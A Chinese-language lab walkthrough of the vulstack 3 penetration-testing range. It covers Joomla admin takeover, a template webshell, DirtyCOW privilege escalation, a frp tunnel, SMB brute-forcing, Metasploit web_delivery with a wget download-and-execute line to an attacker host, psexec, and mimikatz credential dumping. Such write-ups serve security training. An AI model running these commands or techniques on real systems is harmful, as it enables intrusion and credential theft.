vulstack(三)

发布于 2021-11-17  83 次阅读


已知信息和目标

  • IP:10.203.87.242 (咱们假设他是一个公网IP熬!)
  • 获取域控中存在的一份重要文件。

信息收集

端口

image-20211113180118965

22端口能想到的是爆破,以及一些特定的CVE3306也是如此。

80端口是一个php的cmsJoomla,因此最好的攻击入口就是这个cms

目录

 200 -   92KB - /1.php          --phpinfo() 页面                                       
 200 -   0B - /2.php         --空白页面怀疑是预留木马
 200 -   18KB - /LICENSE.txt   --cms 声明的预留文件                                    
 200 -   5KB - /README.txt     --cms的一些声明文件,里面能够看到版本
  --`Joomla! 3.9 version history`
 200 -   2KB - /administrator/includes/ --存在目录遍历漏洞    
 200 -   5KB - /administrator/ --后台登录地址                                           200 -   2KB - /configuration.php~   --网站配置文件泄露
 200 -   3KB - /htaccess.txt
 200 -   16KB - /index.php                                                
 200 -   9KB - /index.php/login/ --前台登录地址
 200 - 829B - /robots.txt       -- 泄露一些文件路径

/configuration.php~中的信息

image-20211115104710412

尝试攻击

mysql写入木马

检查允许写入文件操作:

image-20211115105823759

尝试写入文件:

image-20211115113956454

这里显示1045报错,执行不成功,只能寻找别的方式。

管理员登录

image-20211115114249412

这里发现用户表,存在管理员,但是不知道密码加密的方式。

https://www.eee-eee.com/blog-news/89-joomla/1124-%E5%A6%82%E6%9E%9C%E9%81%97%E5%BF%98joomla%E5%AF%86%E7%A0%81%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87%E6%95%B0%E6%8D%AE%E5%BA%93%E9%87%8D%E7%BD%AEjoomla%E5%AF%86%E7%A0%81.html

通过查看文章,重置密码为testadmin

image-20211115114612242

成功使用administrator/testadmin登录后台

模板写入一句话

image-20211115115833139

查看styles发现默认模板是第二个

image-20211115115915755

在第二个模板首页插入一句话木马

image-20211115115936442
image-20211115115959382
image-20211115120120931

连接之后,查看2.php发现密码为pp,因为服务不稳定,需要多次回复快照,因此使用该文件连接webshell

绕过disablse_function

image-20211115124934434

尝试执行命令,发现执行失败。

image-20211115125043632

查看phpinfo发现好多命令执行函数被ban,因此要执行命令就 要绕过disable_functions

image-20211115125320192

使用蚁剑插件成功绕过

image-20211115125512948

web信息收集

网卡信息

image-20211115125901913

这里发现,我们访问的公网ip为:10.203.87.242,但是这里那道权限的目标机器,明显是一台内网机器,这里推测,应该是存在两台机器其中10.203.87.242,用于出网。第二台机器,用来启动web服务。第一台机器将第二胎机器的web服务端口转发道自己的80端口。因此,我们拿下的应该是第二台内网web服务器。

这跟我们做的之前的机器产生了明显的区别,该机器不出网,我们没有办法直接访问,因此,下一步应该是想办法拿下出网的机器,也就是第一台机器。

文件信息

image-20211115131509245

找到一份敏感文件,给了用户名和密码,一开始以为是数据库密码,测试之后不是,想到adduserpasswd这明显Linux新建用户的操作鸭,尝试ssh连接。

外网机器

SSH登录

image-20211115132125274

发现真的是,ssh密码,成功获取第一台靶机的ssh连接

网卡信息

image-20211115141737027

双网卡,并且第二块网卡,为192.168.93.100与拿下webshell 的机器处于同一内网,这也就验证了我们的猜想。

搭建隧道

在/tmp 文件夹下上传frpcfrpc.ini

image-20211115142803146

本地运行frp服务端:

image-20211115142931267

目标机运行frp客户端:

image-20211115143048284

遇到问题,发现权限不够,尝试进行提权。

提权之后,为文件赋予可执行权限

image-20211115150039367

执行./frpc -c frpc.ini,隧道构建成功:

image-20211115150225512

Linux提权

简单提权尝试

尝试sudo su,提权失败,并且被记录了日志(糟糕!!)

image-20211115143328880

限制了本机才能使用sudo

image-20211115143510287

脏牛内核提权

参考文章

首先查看内核版本:

image-20211115143802895

该内核可以使用脏牛提权:工具下载连接

将下载的dirty.c文件上传到目标服务器:

image-20211115144414247

使用gcc -pthread dirty.c -o dirty -lcrypt对其进行编译:

image-20211115144613942

运行./dirty husins生成一个账户为firefart,密码为husins的root用户

image-20211115144815840

用新建的用户,成功登录

image-20211115145835910

内网信息收集

内网存活探测

image-20211115151522669
image-20211115151626676

根据如上信息,推测内网网段共存在五台机器,其中100120已经被拿下,剩下三台主机为window机器

端口信息

image-20211115152814999

绘制网络拓扑

主机IP主机系统主机任务目前权限开放端口
192.168.93.100Centos出网机器Root22、80、3306、
192.168.93.120Ubentuweb服务器www22、3306、
192.168.93.10Windows Server 2012 R288、135、445、
192.168.93.20win200880、135、139、445、1433
192.168.93.30win7445、135

存在域环境!!!

暴力穷举

image-20211115152640407
image-20211115153626898

fscan同时进行暴力穷举,获取一部分登录的账号密码

拿下20机器

win7 永恒之蓝

根据上面的信息收集,win7还开放445端口,着我可太懂了,纯纯永恒之蓝。

image-20211115172400276

这也太让我失望了

爆破SMB服务

image-20211115200404821

获取到用户名密码 administrator:123qwe!ASD

image-20211115201540148

MSF上线

使用web_delivery模块上线meterpreter,特点选中payload,目标机器只想wegt即可上线。

 use multi/script/web_delivery
 set target 6
 set payload linux/x64/meterpreter/reverse_tcp
 set lhost 10.203.87.119
 set lport 8888
 run

宿主机:

 wget -qO M1PfpyAD --no-check-certificate http://10.203.87.119:8080/vAeuEFYXefP; chmod +x M1PfpyAD; ./M1PfpyAD& disown

发现目标机器成功上线。

image-20211117192337149

本来想上线CS的,但是 CS 监听不到请求

添加路由:

image-20211117192731172

psexec登录20机器

image-20211117193102494

迁移meterperter进程

ps:获取系统进程

image-20211117193530101

getpid:查看进程号

image-20211117193621737

migrate:迁移道一个进程中

image-20211117193806979

20机器信息收集

ipconfig /all

image-20211117201456428

ping test.org

image-20211117201541521

定位域控为10机器

抓取内存密码

加载mimikatz

image-20211117200643755

msv:获取登录密码的hash

image-20211117200755365

kerberos获取明文密码

image-20211117201231071

拿下域控

开启socks5代理

image-20211117201851738

ipc连接那道flag

什么是IPC$:

是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

image-20211117203243978